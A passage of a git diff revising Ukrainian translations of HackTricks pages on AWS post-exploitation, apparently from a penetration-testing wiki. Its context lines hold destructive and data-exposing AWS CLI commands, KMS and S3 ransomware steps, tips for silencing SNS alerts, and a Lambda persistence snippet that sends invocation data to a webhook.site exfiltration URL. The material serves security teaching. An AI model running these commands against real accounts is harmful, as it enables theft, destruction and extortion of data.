потенційно надаючи собі несанкціонований доступ до файлової системи. ```arduino aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index 1f80cb24d..b3d29a13d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -1,4 +1,4 @@ -# AWS - EKS Post Exploitation +# AWS - EKS Постексплуатація {{#include ../../../banners/hacktricks-training.md}} @@ -14,7 +14,7 @@ Якщо у вас є дозвіл **`eks:AccessKubernetesApi`**, ви можете **переглядати об'єкти Kubernetes** через консоль AWS EKS ([Дізнайтеся більше](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). -### Підключення до AWS Kubernetes Cluster +### Підключення до AWS Kubernetes Кластера - Легкий спосіб: ```bash @@ -25,7 +25,7 @@ aws eks update-kubeconfig --name aws-eks-dev Якщо ви можете **отримати токен** за допомогою **`aws eks get-token --name `**, але у вас немає дозволів на отримання інформації про кластер (describeCluster), ви можете **підготувати свій власний `~/.kube/config`**. Однак, маючи токен, вам все ще потрібен **url-адреса для підключення** (якщо вам вдалося отримати JWT токен з поду, читайте [тут](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) і **назва кластера**. -У моєму випадку я не знайшов інформацію в журналах CloudWatch, але я **знайшов її в LaunchTemplates userData** і в **EC2 машинах у userData також**. Ви можете легко побачити цю інформацію в **userData**, наприклад, у наступному прикладі (назва кластера була cluster-name): +У моєму випадку я не знайшов інформацію в журналах CloudWatch, але я **знайшов її в LaunchTemaplates userData** і в **EC2 машинах у userData також**. Ви можете легко побачити цю інформацію в **userData**, наприклад, у наступному прикладі (назва кластера була cluster-name): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -72,28 +72,28 @@ provideClusterInfo: false ### Від AWS до Kubernetes -**Творець** **EKS кластера** **ЗАВЖДИ** зможе отримати доступ до частини кластера kubernetes групи **`system:masters`** (k8s адміністратор). На момент написання цього матеріалу **немає прямого способу** дізнатися **хто створив** кластер (ви можете перевірити CloudTrail). І **немає способу** **видалити** цей **привілей**. +**Творець** **EKS кластера** **ЗАВЖДИ** зможе отримати доступ до частини кластера kubernetes групи **`system:masters`** (k8s адміністратор). На момент написання цього тексту **немає прямого способу** дізнатися **хто створив** кластер (можна перевірити CloudTrail). І **немає способу** **видалити** цей **привілей**. -Спосіб надати **доступ до K8s для більшої кількості користувачів або ролей AWS IAM** - це використання **configmap** **`aws-auth`**. +Спосіб надати **доступ до K8s для більше AWS IAM користувачів або ролей** - це використання **configmap** **`aws-auth`**. > [!WARNING] > Тому будь-хто з **доступом на запис** до конфігураційної карти **`aws-auth`** зможе **компрометувати весь кластер**. -Для отримання додаткової інформації про те, як **надавати додаткові привілеї ролям та користувачам IAM** в **одному або різних облікових записах** та як **зловживати** цим, [**перевірте цю сторінку**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Для отримання додаткової інформації про те, як **надати додаткові привілеї IAM ролям і користувачам** в **одному або різних облікових записах** і як **зловживати** цим, щоб [**перевірити privesc, перегляньте цю сторінку**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Також перегляньте [**цей чудовий**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **пост, щоб дізнатися, як працює аутентифікація IAM -> Kubernetes**. +Перегляньте також [**цей чудовий**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **пост, щоб дізнатися, як працює аутентифікація IAM -> Kubernetes**. ### Від Kubernetes до AWS -Можливо дозволити **аутентифікацію OpenID для облікового запису служби kubernetes**, щоб дозволити їм приймати ролі в AWS. Дізнайтеся, як [**це працює на цій сторінці**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Можливо дозволити **OpenID аутентифікацію для облікового запису служби kubernetes**, щоб дозволити їм приймати ролі в AWS. Дізнайтеся, як [**це працює на цій сторінці**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). -### ОТРИМАТИ кінцеву точку Api Server з JWT токена +### ОТРИМАТИ Api Server Endpoint з JWT Токена Декодувавши JWT токен, ми отримуємо ідентифікатор кластера та також регіон. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Знаючи, що стандартний формат для URL EKS є ```bash https://...eks.amazonaws.com ``` -Не знайшов жодної документації, яка б пояснювала критерії для 'двох символів' та 'числа'. Але проводячи деякі тести від свого імені, я бачу, що ці символи повторюються: +Не знайшов жодної документації, яка б пояснювала критерії для 'двох символів' та 'числа'. Але, проводячи деякі тести, я бачу, що ці символи повторюються: - gr7 - yl4 @@ -129,11 +129,11 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws Зверніть увагу, що **кластер EKS може мати увімкнені журнали**, які зафіксують цей доступ (хоча за замовчуванням вони вимкнені). -### Вимагання EKS? +### Вимагач EKS? За замовчуванням **користувач або роль, яка створила** кластер, **ЗАВЖДИ матиме адміністративні привілеї** над кластером. І це єдиний "безпечний" доступ, який AWS матиме до кластеру Kubernetes. -Отже, якщо **зловмисник компрометує кластер, використовуючи fargate** і **видаляє всіх інших адміністраторів** та **видаляє AWS користувача/роль, яка створила** кластер, ~~зловмисник міг би **вимагати кластер**~~**. +Отже, якщо **зловмисник компрометує кластер, використовуючи fargate** і **видаляє всіх інших адміністраторів** та **видаляє користувача/роль AWS, яка створила** кластер, ~~зловмисник міг би **вимагати кластер**~~**. > [!TIP] > Зверніть увагу, що якщо кластер використовує **EC2 VMs**, може бути можливим отримати адміністративні привілеї з **Node** і відновити кластер. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 33c98ee6e..e256673ad 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -19,7 +19,7 @@ ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` -**Потенційний вплив**: Порушення розгортання додатків та потенційна втрата версій додатків. +**Потенційний вплив**: Порушення розгортання додатка та потенційна втрата версій додатка. ### `elasticbeanstalk:TerminateEnvironment` @@ -41,7 +41,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` -**Потенційний вплив**: Втрата ресурсів програми, конфігурацій, середовищ та версій програми, що призводить до порушення роботи сервісу та потенційної втрати даних. +**Потенційний вплив**: Втрата ресурсів програми, конфігурацій, середовищ та версій програми, що призводить до перерви в обслуговуванні та потенційної втрати даних. ### `elasticbeanstalk:SwapEnvironmentCNAMEs` @@ -52,7 +52,7 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` -**Потенційний вплив**: Надання неправильної версії програми користувачам або виклик небажаної поведінки в програмі через змінені середовища. +**Потенційний вплив**: Надання неправильної версії програми користувачам або виклик ненавмисної поведінки в програмі через змінені середовища. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 5374915ad..26fc9ac90 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -12,13 +12,13 @@ ## Проблема заплутаного заступника -Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто саме може отримати доступ до цього зовнішнього облікового запису**. Це проблема, оскільки якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), є ймовірність, що **B також зможе отримати доступ до вашого облікового запису**. +Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто точно може отримати доступ до цього зовнішнього облікового запису**. Це проблема, оскільки якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), можливо, що **B також зможе отримати доступ до вашого облікового запису**. -Отже, коли ви дозволяєте зовнішньому обліковому запису отримати доступ до ролі у вашому обліковому записі, ви можете вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати**, щоб **прийняти роль у вашій організації**. Оскільки **зовнішній обліковий запис B не знає цей рядок**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**. +Отже, коли ви дозволяєте зовнішньому обліковому запису отримати доступ до ролі у вашому обліковому записі, можливо, ви зможете вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати**, щоб **прийняти роль у вашій організації**. Оскільки **зовнішній обліковий запис B не знає цей рядок**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.
-Однак зверніть увагу, що цей `ExternalId` "секрет" **не є секретом**, будь-хто, хто може **читати політику прийняття ролі IAM, зможе його побачити**. Але поки зовнішній обліковий запис A знає його, а зовнішній обліковий запис **B не знає його**, це **запобігає зловживанню B для доступу до вашої ролі**. +Однак зверніть увагу, що цей `ExternalId` "секрет" **не є секретом**, будь-хто, хто може **читати політику прийняття ролі IAM, зможе його побачити**. Але поки зовнішній обліковий запис A знає його, а зовнішній обліковий запис **B не знає його**, це **запобігає зловживанню B для доступу до вашої ролі через A**. Приклад: ```json @@ -39,11 +39,11 @@ } ``` > [!WARNING] -> Щоб зловмисник міг скористатися заплутаним заступником, йому потрібно буде якимось чином з'ясувати, чи можуть принципали поточного облікового запису видавати себе за ролі в інших облікових записах. +> Щоб зловмисник міг експлуатувати заплутаного заступника, йому потрібно буде якимось чином з'ясувати, чи можуть принципали поточного облікового запису видавати себе за ролі в інших облікових записах. ### Несподівані довіри -#### Символ підстановки як принципал +#### Символи підстановки як принципал ```json { "Action": "sts:AssumeRole", @@ -73,7 +73,7 @@ } } ``` -Якщо S3 бакет вказано як принципал, оскільки S3 бакети не мають ідентифікатора облікового запису, якщо ви **видалили свій бакет, а зловмисник створив** його у своєму обліковому записі, тоді він міг би це зловживати. +Якщо S3 бакет вказаний як принципал, оскільки S3 бакети не мають ідентифікатора облікового запису, якщо ви **видалили свій бакет, а зловмисник створив** його у своєму обліковому записі, то вони могли б це зловживати. #### Не підтримується ```json @@ -84,7 +84,7 @@ "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Звичайний спосіб уникнути проблем з Confused Deputy - це використання умови з `AWS:SourceArn` для перевірки вихідного ARN. Однак, **деякі сервіси можуть цього не підтримувати** (як CloudTrail, згідно з деякими джерелами). +Звичайний спосіб уникнути проблем з Confused Deputy - це використання умови з `AWS:SourceArn` для перевірки вихідного ARN. Однак, **деякі сервіси можуть цього не підтримувати** (наприклад, CloudTrail згідно з деякими джерелами). ## References diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index defaa39ef..8da2a6fda 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -62,10 +62,10 @@ aws kms decrypt \ Атакуючий з привілейованим доступом до KMS може змінити політику KMS ключів і **надати своєму обліковому запису доступ до них**, видаливши доступ, наданий легітимному обліковому запису. -Тоді користувачі легітимного облікового запису не зможуть отримати доступ до будь-якої інформації будь-якої служби, яка була зашифрована цими ключами, створюючи простий, але ефективний програмний забезпечення-вимагач для облікового запису. +Тоді користувачі легітимного облікового запису не зможуть отримати доступ до будь-якої інформації будь-якої служби, яка була зашифрована цими ключами, створюючи простий, але ефективний програмний викуп для облікового запису. > [!WARNING] -> Зверніть увагу, що **керовані AWS ключі не підлягають** цій атаці, лише **керовані клієнтом ключі**. +> Зверніть увагу, що **управляючі ключі AWS не підлягають** цій атаці, тільки **управляючі ключі клієнта**. > Також зверніть увагу на необхідність використання параметра **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції в веб-консолі робить цю атаку можливою лише з CLI). ```bash @@ -102,8 +102,8 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ Існує інший спосіб виконати глобальний KMS Ransomware, який включатиме наступні кроки: -- Створити новий **ключ з матеріалом ключа**, імпортованим зловмисником -- **Зашифрувати старі дані** знову, зашифровані попередньою версією, новою. +- Створити новий **ключ з імпортованим матеріалом ключа** від зловмисника +- **Зашифрувати старі дані** знову, зашифровані попередньою версією, новим. - **Видалити KMS ключ** - Тепер лише зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 5492a1cca..10b2b21cb 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md ### Вкрасти HTTP запити інших користувачів до Lambda та запити розширень -Зловживаючи Lambda Layers, також можливо зловживати розширеннями та зберігатися в Lambda, але також красти та змінювати запити. +Зловживаючи Lambda Layers, також можливо зловживати розширеннями та зберігатися в Lambda, а також красти та змінювати запити. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index ce585054b..49e55493b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -12,7 +12,7 @@ - **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – повернути відповідь обробника для виклику - **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – повернути помилку виконання 3. **bootstrap.py** має цикл, що отримує виклики з процесу init і викликає код користувача для їх обробки (**`/next`**). -4. Нарешті, **bootstrap.py** надсилає до init **відповідь** +4. Нарешті, **bootstrap.py** надсилає до init **відповідь**. Зверніть увагу, що bootstrap завантажує код користувача як модуль, тому будь-яке виконання коду, яке виконується кодом користувача, насправді відбувається в цьому процесі. @@ -24,8 +24,8 @@ - **Надіслати підроблений результат поточного виклику до процесу init**, щоб init думав, що процес bootstrap чекає на більше викликів. - Запит має бути надісланий до **`/${invoke-id}/response`** -- invoke-id можна отримати зі стеку легітимного процесу **`bootstrap.py`**, використовуючи [**inspect**](https://docs.python.org/3/library/inspect.html) модуль python (як [пропонувалося тут](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) або просто запитуючи його знову до **`/2018-06-01/runtime/invocation/next`** (як [пропонувалося тут](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). -- Виконати шкідливий **`boostrap.py`**, який оброблятиме наступні виклики +- invoke-id можна отримати зі стеку легітимного процесу **`bootstrap.py`**, використовуючи модуль [**inspect**](https://docs.python.org/3/library/inspect.html) python (як [пропонувалося тут](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) або просто запитуючи його знову до **`/2018-06-01/runtime/invocation/next`** (як [пропонувалося тут](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)). +- Виконати шкідливий **`boostrap.py`**, який оброблятиме наступні виклики. - Для цілей прихованості можливо надіслати параметри викликів lambda до C2, контрольованого зловмисником, а потім обробляти запити як зазвичай. - Для цієї атаки достатньо отримати оригінальний код **`bootstrap.py`** з системи або [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), додати шкідливий код і запустити його з поточного виклику lambda. @@ -52,7 +52,7 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402 exec(new_runtime) EOF ``` -Для отримання додаткової інформації перегляньте [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher) +Для отримання додаткової інформації перевірте [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher) ## Посилання diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md index d7ee618ef..6e8432fbc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md @@ -21,7 +21,7 @@ ### Доступ до чутливої інформації -Перегляньте варіанти підвищення привілеїв Lightsail, щоб дізнатися різні способи доступу до потенційно чутливої інформації: +Перегляньте варіанти privesc Lightsail, щоб дізнатися різні способи доступу до потенційно чутливої інформації: {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md index 99344ad62..d311e9723 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Organizations Post Exploitation +# AWS - Організації Після Експлуатації {{#include ../../../banners/hacktricks-training.md}} ## Організації -Для отримання додаткової інформації про AWS Organizations дивіться: +Для отримання додаткової інформації про AWS Organizations перегляньте: {{#ref}} ../aws-services/aws-organizations-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index a411ff61d..7bd98720e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -12,7 +12,7 @@ ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Якщо у зловмисника достатньо прав, він може зробити **БД загальнодоступною**, створивши знімок БД, а потім загальнодоступну БД з цього знімка. +Якщо атакуючий має достатні права, він може зробити **БД загальнодоступною**, створивши знімок БД, а потім загальнодоступну БД з цього знімка. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,7 +40,7 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Зловмисник з цими дозволами міг би **створити знімок БД** і зробити його **публічно** **доступним**. Потім він міг би просто створити у своєму обліковому записі БД з цього знімка. +Зловмисник з цими правами міг би **створити знімок бази даних** і зробити його **доступним** **публічно**. Потім він міг би просто створити у своєму обліковому записі базу даних з цього знімка. Якщо зловмисник **не має `rds:CreateDBSnapshot`**, він все ще міг би зробити **інші** створені знімки **публічними**. ```bash @@ -57,7 +57,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Потенційний вплив**: Доступ до чутливої інформації або несанкціоновані дії з використанням вкрадених облікових даних. +**Потенційний вплив**: Доступ до чутливої інформації або несанкціоновані дії з використанням злитих облікових даних. ### `rds:DeleteDBInstance` @@ -73,7 +73,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final > [!NOTE] > TODO: Test -Зловмисник з цим дозволом може **експортувати знімок RDS екземпляра до S3 кошика**. Якщо зловмисник контролює цільовий S3 кошик, він може потенційно отримати доступ до чутливих даних у експортованому знімку. +Зловмисник з цим дозволом може **експортувати знімок екземпляра RDS до S3 кошика**. Якщо зловмисник контролює цільовий S3 кошик, він може потенційно отримати доступ до чутливих даних у експортованому знімку. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index df48fd662..55e517354 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -4,7 +4,7 @@ ## S3 -Для отримання додаткової інформації перегляньте: +Для отримання додаткової інформації перевірте: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md @@ -12,7 +12,7 @@ ### Чутлива інформація -Іноді ви зможете знайти чутливу інформацію у доступних бакетах. Наприклад, секрети стану terraform. +Іноді ви зможете знайти чутливу інформацію в читабельному вигляді в бакетах. Наприклад, секрети стану terraform. ### Півтування @@ -21,18 +21,18 @@ ### S3 Вимагач -У цьому сценарії **зловмисник створює ключ KMS (Служба управління ключами) у своєму власному обліковому записі AWS** або в іншому скомпрометованому обліковому записі. Потім він робить цей **ключ доступним для всіх у світі**, дозволяючи будь-якому користувачу, ролі або обліковому запису AWS шифрувати об'єкти, використовуючи цей ключ. Однак об'єкти не можуть бути розшифровані. +У цьому сценарії **зловмисник створює ключ KMS (Служба управління ключами) у своєму власному обліковому записі AWS** або в іншому скомпрометованому обліковому записі. Потім він робить цей **ключ доступним для будь-кого у світі**, дозволяючи будь-якому користувачу, ролі або обліковому запису AWS шифрувати об'єкти, використовуючи цей ключ. Однак об'єкти не можуть бути розшифровані. -Зловмисник визначає цільовий **бакет S3 і отримує доступ на рівні запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію бакета, яка робить його публічно доступним, або зловмисник отримує доступ до самого середовища AWS. Зазвичай зловмисник націлюється на бакети, які містять чутливу інформацію, таку як особисто ідентифікована інформація (PII), захищена медична інформація (PHI), журнали, резервні копії тощо. +Зловмисник визначає цільовий **бакет S3 і отримує доступ на рівні запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію бакета, яка робить його публічно доступним, або зловмисник отримує доступ до середовища AWS. Зазвичай зловмисники націлюються на бакети, які містять чутливу інформацію, таку як особисто ідентифікована інформація (PII), захищена медична інформація (PHI), журнали, резервні копії тощо. -Щоб визначити, чи можна націлити бакет для вимагання, зловмисник перевіряє його конфігурацію. Це включає перевірку, чи **увімкнено версіонування об'єктів S3** і чи **увімкнено видалення з багатофакторною аутентифікацією (MFA delete)**. Якщо версіонування об'єктів не увімкнено, зловмисник може продовжити. Якщо версіонування об'єктів увімкнено, але видалення MFA вимкнено, зловмисник може **вимкнути версіонування об'єктів**. Якщо і версіонування об'єктів, і видалення MFA увімкнені, зловмиснику стає важче вимагати цей конкретний бакет. +Щоб визначити, чи можна націлити бакет для вимагання, зловмисник перевіряє його конфігурацію. Це включає перевірку, чи **увімкнено версіонування об'єктів S3** і чи **увімкнено видалення з багатофакторною аутентифікацією (MFA delete)**. Якщо версіонування об'єктів не увімкнено, зловмисник може продовжити. Якщо версіонування об'єктів увімкнено, але MFA delete вимкнено, зловмисник може **вимкнути версіонування об'єктів**. Якщо і версіонування об'єктів, і MFA delete увімкнені, зловмиснику стає важче вимагати викуп за цей конкретний бакет. Використовуючи API AWS, зловмисник **замінює кожен об'єкт у бакеті зашифрованою копією, використовуючи свій ключ KMS**. Це ефективно шифрує дані в бакеті, роблячи їх недоступними без ключа. -Щоб додати додатковий тиск, зловмисник планує видалення ключа KMS, використаного в атаці. Це дає цілі 7 днів для відновлення своїх даних до того, як ключ буде видалено, і дані стануть назавжди втраченими. +Щоб додати додатковий тиск, зловмисник планує видалення ключа KMS, використаного в атаці. Це дає цілі 7 днів для відновлення своїх даних до того, як ключ буде видалено, і дані стануть безповоротно втраченими. Нарешті, зловмисник може завантажити фінальний файл, зазвичай названий "ransom-note.txt", який містить інструкції для цілі про те, як відновити свої файли. Цей файл завантажується без шифрування, ймовірно, щоб привернути увагу цілі та зробити їх обізнаними про атаку-вимагач. -**Для отримання додаткової інформації** [**перегляньте оригінальне дослідження**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +**Для отримання додаткової інформації** [**перевірте оригінальне дослідження**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md index 8644c01c4..e706745fc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md @@ -10,11 +10,11 @@ ../aws-services/aws-secrets-manager-enum.md {{#endref}} -### Read Secrets +### Читання секретів -**Секрети самі по собі є чутливою інформацією**, [перегляньте сторінку privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md), щоб дізнатися, як їх читати. +**Самі секрети є чутливою інформацією**, [перегляньте сторінку privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md), щоб дізнатися, як їх читати. -### DoS Change Secret Value +### DoS Зміна значення секрету Змінивши значення секрету, ви можете **DoS усю систему, яка залежить від цього значення.** diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index f9dca7b7d..eb6b57095 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -12,7 +12,7 @@ ### `ses:SendEmail` -Надіслати електронний лист. +Відправити електронний лист. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json @@ -21,7 +21,7 @@ aws sesv2 send-email --from sender@example.com --destination file://emails.json ### `ses:SendRawEmail` -Відправити електронний лист. +Надіслати електронний лист. ```bash aws ses send-raw-email --raw-message file://message.json ``` @@ -31,15 +31,13 @@ aws ses send-raw-email --raw-message file://message.json ```bash aws ses send-templated-email --source --destination --template ``` -Still to test. - ### `ses:SendBulkTemplatedEmail` Надіслати електронний лист на кілька адрес ```bash aws ses send-bulk-templated-email --source --template ``` -Still to test. +Ще потрібно протестувати. ### `ses:SendBulkEmail` @@ -49,12 +47,10 @@ aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -Відправити **повернуте електронне повідомлення** на отримане електронне повідомлення (вказуючи, що електронне повідомлення не вдалося отримати). Це можна зробити **протягом 24 годин після отримання** електронного повідомлення. +Відправити **повернуте повідомлення** на отримане електронне повідомлення (вказуючи, що електронне повідомлення не може бути отримано). Це можна зробити **протягом 24 годин після отримання** електронного повідомлення. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` -Still to test. - ### `ses:SendCustomVerificationEmail` Це надішле налаштований лист для підтвердження. Вам можуть знадобитися дозволи також для створення шаблону листа. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index 3c270114e..9308e2084 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -12,7 +12,7 @@ ### Порушити Повідомлення -У кількох випадках теми SNS використовуються для надсилання повідомлень на платформи, які моніторяться (електронна пошта, повідомлення в Slack...). Якщо зловмисник запобігає надсиланню повідомлень, які сповіщають про його присутність у хмарі, він може залишитися непоміченим. +У кількох випадках теми SNS використовуються для надсилання повідомлень на платформи, які моніторяться (електронні листи, повідомлення в slack...). Якщо зловмисник запобігає надсиланню повідомлень, які сповіщають про його присутність у хмарі, він може залишитися непоміченим. ### `sns:DeleteTopic` @@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn ### `sns:Publish` -Зловмисник може надіслати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси. +Зловмисник може надіслати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати 